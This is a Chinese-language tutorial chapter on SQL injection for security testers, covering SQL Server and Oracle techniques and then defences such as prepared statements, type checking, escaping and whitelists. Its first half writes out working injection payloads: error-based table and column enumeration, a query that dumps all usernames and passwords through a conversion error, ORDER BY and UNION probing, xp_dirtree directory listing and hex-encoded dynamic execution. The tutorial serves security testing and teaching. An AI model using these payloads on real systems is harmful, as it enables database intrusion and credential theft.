软件安全性测试(连载11)

本文涉及的产品
云数据库 RDS SQL Server,独享型 2核4GB
简介: 软件安全性测试(连载11)

4. SQL Server数据库特性


1)利用错误信息枚举当前表和列

      假设当前有这么一张数据表。

create table users(
id int not null identity(1,1),
username varchar(10) not null,
password varchar(10) not null,
email varchar(50)
)


      插入几条数据,比如。

insert into dbo.usersvalues('jerry','123456','xianggu625@126.com')


      假设和系统中由用户输入用户名,然后显示该用户的信息,假设SQL语句为:

select * from users whereusername='$var'


假设这时候存在SQL注入,可以利用错误信息来获取表单的信息,方法如下。

在输入框中输入:jerry' having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' having 1=1--'


后台会显示。

消息 8120,级别 16,状态 1,第 1

选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。


从而暴露表名users及列名id。接下来,在输入框中输入:jerry' group by id having 1=1--,这时候SQL语句变为。

select * from users whereusername='jerry' group by id having 1=1--'


后台会显示。

消息 8120,级别 16,状态 1,第 1

选择列表中的列'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。


这时候,又暴露列名id username。继续,在输入框中输入:'jerry' group byid,username having 1=1--,这时候SQL语句有变为。

select * from users whereusername='jerry' group by id,usernamehaving 1=1--'


后台会显示。

消息 8120,级别 16,状态 1,第 1

选择列表中的列'users.password' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

      又把列名password给暴露了。


2)利用错误信息提取数据

假设用户登录界面,存在两个输入文本框,分别要求输入用户名和密码。在用户名文本框中输入:tom,而在密码文本框中输入:555555'and 1>(select top 1 username from users) --SQL语句可能为如下形式。


select * from users whereusername='tom' and password='555555' and 1>(select top 1 username fromusers) --'


这个时候页面显示。

消息245,级别16,状态1,第1

在将varchar'jerry'转换成数据类型int时失败。

这样暴露了用户名为jerry,而不是输入的tom


接下来,修改用户名为jerry,密码文本框中输入:555555'

and 1=CONVERT(int,(select stuff((select','+users.username,'|'+users.password from users

for xml path('')),1,1,''))) --SQL语句可能为如下形式。

select* from users where username='jerry' and password='555555' and1=CONVERT(int,(select stuff((select ','+users.username,'|'+users.password fromusers for xml path('')),1,1,''))) --'


此时系统将把表中的所有信息显示出来。

消息 245,级别 16,状态 1,第 1

在将 nvarchar 'jerry|123456,Linda|654321,cindy|qwert,Jessica|mnbvc' 转换成数据类型int 时失败。


由于黑客无法真正操作数据库,而是通过页面显示错误信息而得之的,所以需要注意以下两点。

  •    程序不要把错误信息暴露给前端。
  • 发布版本的时候,请关闭debug模式,尽可能把不必要的信息暴露给使用者。


3)利用Order by子句盲注

仍旧以开始的表为例,可以通过Order by子句盲注来获得表中的列数。假设页面URL为:http://www.mydomain.com/xxx.jsp?id=1,功能是显示id1个用户的信息,存在SQL注入风险。


URL后缀改为:…?id=1 Order by 1,对应SQL语句可能为。

select * from users where id=1Order by 1


显示正常,将Order by 1改为Order by 2,对应SQL语句可能为。

select * from users where id=1Order by 2


显示仍旧正常,将Order by 2改为Order by 3,对应SQL语句可能为。

select * from users where id=1Order by 3


显示仍旧正常,将Order by 3改为Order by 4,对应SQL语句可能为。

select * from users where id=1Order by 4


显示还是正常,将Order by 4改为Order by 5,对应SQL语句可能为。

select * from users where id=1Order by 5


显示内部错误,说明当前表中存在4列,这样为下面UNION攻击打下基础。


4)通过UNION攻击获取字段类型

有了上面的攻击,黑客得之当前表中存在4列,可以通过UNION攻击获取每列的字符类型。


URL后缀做如下修改:…?id=1Order by 1 union select 'x',null,null,nullfrom sysobjects where xtype='U',这样SQL语句变为。

select * from users where id=1union select 'x',null,null,null fromsysobjects where xtype='U'


显示内部错误,说明第一个字段不是字符串类型,修改URL:…?id=1 Order by 1 union select 1,null,null,null from sysobjects wherextype='U',这样SQL语句变为。

select * from users where id=1union select 1,null,null,null fromsysobjects where xtype='U'


显示正常,说明第一个字段是整数类型。从而可以继续判断后面三个字段类型。


5)通过UNION攻击获取元数据

正如3.1-2最后所述,可以利用UNION攻击获取元数据。在SQL Server中获取元数据语句如下。

  •    获取表名
SELECT TABLE_NAME FROMINFORMATION_SCHEMA.TABLES
  •     获取表中的列名
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNSwhere TABLE_NAME='users'


6)利用数据库函数

MySQL一样,也可以使用数据库自带的函数获得系统数据,在这里仅把一些关键函数列在6中,不做过多的介绍。


6 SQL Server主要函数

函数

解释

select suser_name()

返回用户登录的标识名

select user_name()

基于指定的标识号返回数据库的用户名

select db_name()

返回数据库名称

select is_member('db_owner')

是否为数据库角色

select convert(int, '5')

数据类型转换

stuff()

字符串截取函数

acscii()

ASCII

getdate()

返回日期

count()

返回总记录数

cast()

将一种类型的表达式转换成另一种类型的表达式

rand()

返回随机数

is_srvrolemember()

指定SQL Server登录名是否为指定服务器角色的成员


7)使用存储过程

使用存储过程可以查询到数据库之外的系统信息,比如SQL Server下有一个存储过程叫xp_dirtree  ,利用它可以获得目录dir所有子目录。SQL语句如下。

select * from users whereid=1;exec xp_dirtree 'C:\WINDOWS'


显示C:\WINDOWS所有目录与子目录。运行后的效果如27所示。

image.png

27 执行存储过程xp_dirtree'C:\WINDOWS'运行结果


更多的SQL Server存储过程读者可以查询SQL Server官方网站,另外读者也可以自己书写存储过程。


8)动态执行

SQL Server支持动态执行,其形式如下。

exec('select * from users')


如果前端不允许引号存在,可以使用下面形式。

declare @myquery varchar(888)
select @myquery =0x73656C6563742031
exec(@myquery)


防止动态执行最有效的方式是系统不要允许用户输入执行代码。


5. Oracle数据库特性


      对于Oracle数据库,有了前面的知识,不做详细地介绍。

1)获取元数据

按照7的方法获取Oracle元数据

7 获取Oracle元数据

内容

语句

user_tablespaces视图,查看表空间

select tablespace_name from user_tablespaces

user_tables视图,查看当前用户的所有表

select table_name from user_tables where  rownum=1

user_tab_columns视图,查看当前用户的所有列

select column_name from user_tab_columns where  table_name= 'users'

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER')  trom dual

all_users视图,查看 Oracle数据库的所有用户。

select username from all_user

user_obiects视图,查看当前用户的所有对象(表名称、约束、索引)

select obect_name from user_objects


2)通过UNION查询获取敏感信息

按照8的方法通过UNION查询获取敏感信息。

8 获取Oracle敏感信息

内容

语句

当前用户权限

select * from session_roles

当前数据库版本

select banner from sys.v _$Version where rownum=1

服务器出口IP

utl_http.request

服务器监听 IP

select utl _inaddr.get _host_address from dual

服务器操作系统

select member from v$logfile where rownum=1

服务器sid

select instance _name fromv$instance

当前连接用户

select SYS_CONTEXT('USERENV', 'CURRENT_USER') trom dual


Oracle不支持多语句查询,如下语句是错误的。

select * from user;exec(….)


另外在Oracle进行UNION查询的时候,不能采取

union slelect null,null,null


格式,而要采取如下格式。

union slelectnull,null,null…from dual


6. SQL注入的测试方法


对于SQL注入的测试,可以采用SQL MapPangolin(穿山甲)这两个工具,具体这两个工具的使用方法,在本书下篇的第6.2.2和第6.2.3将进行详细介绍。


7. SQL注入的防护方法


SQL注入的防护方法有以下几种方法。


1)严格字符类型

对于强类型语言,比如JAVAC#,对于id不要使用字符串格式,而使用整数格式。比如。

int id =Inter.ParseInt(request.getParameter("id"));


而对于弱类型语言,比如PHPASP,使用类似is_number() ctype_digit()函数来判断。比如。

$id=$_GET('id')
if (is_number($id)){
$sql = "select * fromtables where id=$id;"; }
else{
echo "id必须为整数类型"
}


2)特殊转义字符

select * from user whereusername= '1111' password= '\' or 1=1 --\''


上面语句把单引号通过\转义。如果是JAVA语句可以用ESAPI

Oracle orcl = new OracleCode();
String sql = select * from userwhere USERI="+ESAPI.encoder().encodeForSQL(orcl,userId);
Statement stmt=conn.creatrStatement(sql);


3)使用预编译

前面讲到的案例会发现都是使用拼接SQL语句的方式来实现,在JAVA中可以使用预编译的方式来实现防止SQL注入。下面代码是通过预编译来实现对数据如的查询的jsp代码。

<%
String sql="select count(*)as mycount from user where name=? and password=?" ;
Stringurl="jdbc:mysql://localhost/"+dbName+"?user="+userName+"&password="+userPasswd;
Class.forName(driverName).newInstance();
Connectionconn=DriverManager.getConnection(url);
PreparedStatement ps =conn.prepareStatement(sql);
ps.setString(1,name);
ps.setString(2,password);
ResultSet rs =ps.executeQuery();
out.print(sql+"<br>");
rs.next();
rs.close();
conn.close();
}catch(Exception e){
    out.print(e);}
%>


4)利用白名单过滤

可以利用白名单,控制可以访问的表名。

StringtableName=request.getParameter("tablename");
iftableName.equals("teacher"){
    stmt= "select * from teacher where name=? ";
}else iftableName.equals("student"){
     stmt = "select * from student wherename=? ";
}else {
    thrownew SQLException("table name is error!!! ");
}


5)使用安全WEB开发框架

另外,现在有许多成熟的框架,比如pythonDjango就具有天生的消灭SQL注入的机制。有兴趣的读者可以参考我的著作《基于Django的电子商务网站设计》一书。

相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
SQL XML 安全
软件安全性测试(连载26)
软件安全性测试(连载26)
90 0
|
存储 XML SQL
软件安全性测试(连载25)
软件安全性测试(连载25)
112 0
|
XML SQL 存储
软件安全性测试(连载12)
软件安全性测试(连载12)
81 0
|
安全 Java PHP
软件安全性测试(连载15)
软件安全性测试(连载15)
102 0
软件安全性测试(连载15)
|
SQL 存储 安全
软件安全性测试(连载21)
软件安全性测试(连载21)
105 0
软件安全性测试(连载21)
|
开发框架 安全 前端开发
软件安全性测试(连载14)
软件安全性测试(连载14)
68 0
软件安全性测试(连载14)
|
存储 JavaScript 前端开发
软件安全性测试(连载3)
软件安全性测试(连载3)
84 0
软件安全性测试(连载3)
|
安全 程序员 网络安全
软件安全性测试(连载18)
软件安全性测试(连载18)
70 0
软件安全性测试(连载18)
|
缓存 安全 Java
软件安全性测试(连载22)
软件安全性测试(连载22)
94 0
软件安全性测试(连载22)
|
存储 移动开发 算法
软件安全性测试(连载19)
软件安全性测试(连载19)
74 0
软件安全性测试(连载19)